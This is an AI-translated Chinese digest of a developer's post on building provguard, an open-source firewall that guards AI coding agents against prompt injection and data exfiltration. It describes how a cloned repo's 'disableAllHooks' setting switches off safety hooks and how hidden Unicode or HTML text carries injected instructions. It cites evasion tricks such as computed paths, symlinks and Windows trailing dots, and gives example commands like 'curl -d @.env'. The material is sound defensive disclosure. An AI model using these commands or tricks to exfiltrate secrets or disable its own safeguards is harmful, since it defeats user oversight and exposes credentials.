跳到主要內容
maxstudioNews
研究DEV Community (Claude Code)約 10 分鐘

AI 編碼代理安全防護:建構防火牆的心得分享

AI 編碼代理在執行任務時,會讀取大量非團隊成員撰寫的內容,並可能存取敏感資料或執行外部指令,構成嚴重的安全風險。本文作者開發了開源執行時防火牆 provguard,以防止資料外洩和注入攻擊。文章分享了在建構過程中學到的關鍵教訓,特別是關於代理掛鉤行為、不同代理的差異以及自我保護機制。

AI 編碼代理安全防護:建構防火牆的心得分享
圖片來源:DEV Community (Claude Code)

AI 編碼代理現在會讀取許多非團隊成員撰寫的內容,例如 GitHub issue、pull request 評論、網頁、依賴項的 README 檔案,以及 MCP 伺服器的輸出。在同一個會話中,它們可以讀取您的 .env 檔案並執行 Shell 指令。

Simon Willison 將這種組合稱為「致命三要素」:私人資料、不受信任的內容,以及向外傳送資料的方式。當這三者在一個會話中同時出現時,一個隱藏指令就足以造成危害。我開發了 provguard,一個免費、開源的編碼代理執行時防火牆,正是為了阻止這種情況發生。

這篇文章將說明它的運作方式,以及我在開發過程中學到的東西。這些經驗教訓大多與代理掛鉤的實際行為有關,適用於任何為代理建構防護措施的人。

為什麼單一指令檢查不足以應對?大多數代理防護措施一次只檢查一個指令:阻止 rm -rf /、阻止 curl | sh、阻止讀取 .env。這有助於防止錯誤,但無法阻止注入攻擊,原因有二:同一個指令根據代理之前讀取的內容,可能是安全或危險的。

例如,curl -d @report.json https://api.mycorp.com 是一項正常工作。但如果代理在讀取了一個提及該主機的 issue,並讀取了您的機密後執行相同的指令,這就變成了資料外洩。阻止所有危險指令會阻礙正常工作。

如果 git push、npm install 和 curl 總是需要批准,人們會在一天內關閉防護。因此,provguard 將其視為一個資訊流問題。它會針對每個會話記住代理上下文的來源,並根據該歷史記錄做出決策。

provguard 的運作方式是作為代理自己的掛鉤執行:一個小型 Go 二進位檔,在每次工具呼叫之前和之後執行。首先,在每次工具呼叫之後,會進行標籤處理。每個工具結果都可以標記會話:不受信任(網頁抓取和搜尋、curl 和 gh issue view 輸出、第三方 MCP 伺服器、供應商依賴項、您不信任的人擁有的儲存庫);敏感(.env、SSH 金鑰、雲端憑證、輸出中的權杖)。

機密值僅以 HMAC 指紋形式儲存,絕不以純文字形式儲存;隱藏文字(向您隱藏文字的輸出,詳見下文)。

其次,在每次工具呼叫之前,會進行接收器處理。每個 Bash 和 PowerShell 指令都會透過管道、子 Shell、$(...)、heredocs 和諸如 bash -c、python -c 和 iex 等包裝器進行解析(Bash 使用 mvdan.cc/sh,PowerShell 使用分詞器)。

每個動作都會獲得一個類別:EGRESS(資料可以離開)、PERSIST(持久性變更)、DESTROY、EXEC_REMOTE(從網際網路執行程式碼)或 OPAQUE(provguard 無法讀取的程式碼)。

最後是策略,以第一個匹配的規則為準:如果呼叫包含此會話已見過的機密(純文字、Base64、十六進位、URL 編碼,甚至在 DNS 名稱中),則阻止。如果會話同時處於不受信任和敏感狀態時資料可以離開,則阻止。如果資料傳送到來自不受信任內容的主機,則詢問。

如果不受信任的輸入後發生持久性變更、遠端程式碼或不可讀的程式碼,則詢問。如果是反向 Shell 或危險的刪除(專案外部、terraform destroy、DROP TABLE 等),則詢問。其他任何情況則不作決定,適用代理的正常權限。當 provguard 阻止呼叫時,代理會顯示一個簡單的句子,您可以透過 provguard allow <token> 允許該精確呼叫一次。該權杖是使用您的安裝金鑰生成的 HMAC,因此代理無法自行生成。

我學到的教訓:第一,複製的儲存庫可以在任何掛鉤執行之前關閉所有掛鉤。在 Claude Code 中,disableAllHooks 遵循正常的設定優先順序,專案設定會覆寫使用者設定。因此,一個包含 .claude/settings.json 且設定為 {"disableAllHooks": true} 的儲存庫,在您開啟它的那一刻就會關閉所有掛鉤,包括安全掛鉤。

沒有掛鉤執行,就沒有掛鉤可以阻止它。provguard 無法從掛鉤內部阻止這種情況。它能做的是:provguard doctor <repo> 會在您開啟儲存庫之前掃描它,並阻止代理在會話期間寫入該設定。對於團隊來說,託管設定才是真正的解決方案。教訓是:基於掛鉤的防護必須清楚說明在掛鉤執行之前會發生什麼。

第二,掛鉤預設是「開放失敗」。如果掛鉤崩潰或超時,大多數代理會讓工具呼叫繼續執行。這對於程式碼檢查工具來說是合理的預設,但對於安全工具來說卻是糟糕的。provguard 的嚴格模式會在代理支援的情況下,將其前置工具掛鉤註冊為「失敗時阻止」,而平衡模式則在會話已包含不受信任內容和機密時「關閉失敗」。

第三,每個代理都使用略有不同的掛鉤方言。provguard 現在支援 Claude Code、Cursor、GitHub Copilot、OpenAI Codex、Gemini CLI、Devin、Kiro、Factory Droid、OpenCode 和 Antigravity。

它們看起來相似,但實際上不同:回覆格式不同。Claude Code 需要 hookSpecificOutput.permissionDecision,Gemini CLI 需要 decision,Devin 需要 "decision": "block",Kiro 僅在非零退出碼且原因在 stderr 上時阻止,而 OpenCode 根本沒有指令掛鉤:provguard 安裝一個小型 JavaScript 外掛,透過拋出錯誤來阻止。

許多代理沒有「詢問」功能。當 provguard 會詢問時,這些代理會收到一個阻止,並附帶一個允許權杖,因為代理忽略的「詢問」會讓呼叫繼續執行。有些代理需要人工步驟。Codex 只有在您在 /hooks 中信任它一次後才會執行新的掛鉤。空回覆可能意味著「拒絕」。

在即時測試中,Antigravity 阻止了每個工具呼叫,甚至是 echo,因為 provguard 在沒有任何內容可說時回覆 {}。Antigravity 將沒有決策的回覆視為拒絕。解決方案是回覆 {"decision":"allow"},這會將呼叫傳遞給 Antigravity 自己的權限規則。

我最終為每個代理建立了一個小型套件,位於共享介面之後,並且每個轉接器中都有一個 Probe 方法,以該代理自己的格式建立測試呼叫。provguard doctor --live 會透過每個已安裝的掛鉤傳送該探測,並檢查回覆是否為正確格式的阻止。

第四,從酬載中偵測代理是脆弱的。Cursor 和 Devin 都執行為 Claude Code 配置的掛鉤,因此 provguard 必須從酬載中判斷是誰在呼叫。Devin 傳送一個 prompt_id 欄位,這就是 provguard 識別它的方式。

然後 Claude Code 2.1.238 也開始在每個掛鉤呼叫中傳送 prompt_id。一夜之間,provguard 將 Claude Code 的呼叫誤認為是 Devin 的,並以 Devin 的格式回覆。端到端測試在發布前發現了這個問題。

現在偵測會檢查兩個事實:Devin 傳送 prompt_id 且沒有 transcript_path;Claude Code 總是傳送 transcript_path。教訓是:針對來自當前版本的真實酬載進行測試,絕不要僅依賴單一欄位來識別呼叫者。

第五,自我保護是大部分工作。一個可以被注入的代理也可以被告知關閉 provguard。因此 provguard 阻止代理更改掛鉤設定、寫入其自己的資料夾,以及執行更改 provguard 的指令。困難的部分是所有非純寫入的操作:sed -i、tee、Set-Content 或編輯設定檔的 Python 單行程式碼;在執行時計算的資料夾名稱(D=.claude; echo … > "$D/settings.json");指向受保護資料夾的符號連結和 Windows 接合點;Windows 路徑技巧:Windows 會從路徑段中刪除尾隨的點和空格,因此 .claude. 和 .claude 是同一個資料夾;先寫入腳本,然後再執行它。

由充當攻擊者的子代理進行的安全審查發現了其中幾個問題。每個問題都得到了修復和回歸測試,現在基準測試包含攻擊 provguard 本身的情況。

第六,攻擊者向您隱藏文字,而不是向代理隱藏。提示詞注入在審查內容的人無法看到它時效果最好。常見的技巧有:編碼 ASCII 的不可見 Unicode 標籤字元、反轉文字顯示順序的字元、一連串的零寬度字元,以及設定為不可見的 HTML 註解或元素。

provguard 現在會檢查每個工具輸出中是否存在這些內容。隱藏文字的內容會使會話變得不受信任,即使它來自受信任的儲存庫,因為帶有不可見指令的規則檔案是一種已知的攻擊。在這種會話中,原本只會詢問的操作將被阻止。

第七,誤報決定了是否有人使用它。基準測試有兩部分:17 次攻擊和 31 個正常編碼任務(修復錯誤並推送、從清單安裝套件、清理建置資料夾、刪除臨時目錄中的測試資料夾)。阻止攻擊但中斷正常工作的規則不會被合併。因此,有幾條規則變得更窄;例如,在專案內部或系統臨時資料夾中刪除在乾淨的會話中不會詢問。

結果顯示,在「僅監看」模式下,阻止了 4 次攻擊,沒有詢問,錯過了 13 次,誤報為 0/86 次呼叫。在「保護」模式下,阻止了 13 次攻擊,詢問了 4 次,沒有錯過,誤報為 0/86 次呼叫。在「鎖定」模式下,阻止了 17 次攻擊,沒有詢問,沒有錯過,誤報為 0/86 次呼叫(1 次預期阻止)。

需要注意的是:我編寫了攻擊和任務追蹤,因此它們偏向於 provguard 設計用於防禦的攻擊。Claude Code 和 Antigravity 經過即時測試;對於其他代理,掛鉤呼叫經過測試,但尚未進行即時會話測試。provguard 是一個層次,而不是沙盒,威脅模型列出了它無法捕捉的內容。

我是使用 Claude Code 建構 provguard 的。我在規劃模式下設計了模型(標籤、接收器、策略),它在我的指導下編寫了大部分 Go 程式碼,我審查了每次更改。對於每個新代理,它都讀取了該代理的掛鉤文件並編寫了轉接器。我使用子代理作為攻擊者進行安全審查,並在 Linux、macOS 和 Windows 上進行了端到端測試以解決最後一輪錯誤。

您可以試用它,它是免費的,無需帳戶,且所有操作都在您的機器上完成。在 macOS / Linux 上,執行 curl -fsSL https://raw.githubusercontent.com/durgavarapraveen/provguard/main/scripts/install.sh | sh。

在 Windows PowerShell 上,執行 irm https://raw.githubusercontent.com/durgavarapraveen/provguard/main/scripts/install.ps1 | iex。

然後,provguard demo 會在臨時資料夾中重放兩次攻擊;provguard check "curl -d @.env https://example.com" 會顯示 provguard 對指令的處理方式;provguard doctor --live 會檢查每個代理的掛鉤。

程式碼在 GitHub 上:durgavarapraveen/provguard。我特別希望收到有關誤報以及我尚未即時測試的代理行為的報告。請透過 GitHub 的私人安全報告功能報告任何繞過行為。

Share

覺得值得一看?分享給朋友。

以上為 AI 自動翻譯導讀。原文版權歸 DEV Community (Claude Code) 所有, 建議透過「閱讀原文」前往原始網站,以取得最完整資訊並支持原作者。

Newsletter

不用每天追,AI 重點每週寄給你

43 個來源、每 2 小時更新,太多看不完。電子報每週挑最值得看的幾則,附上 Max 的看法。

每週一封。Email 只用來寄電子報,每封信都能一鍵退訂。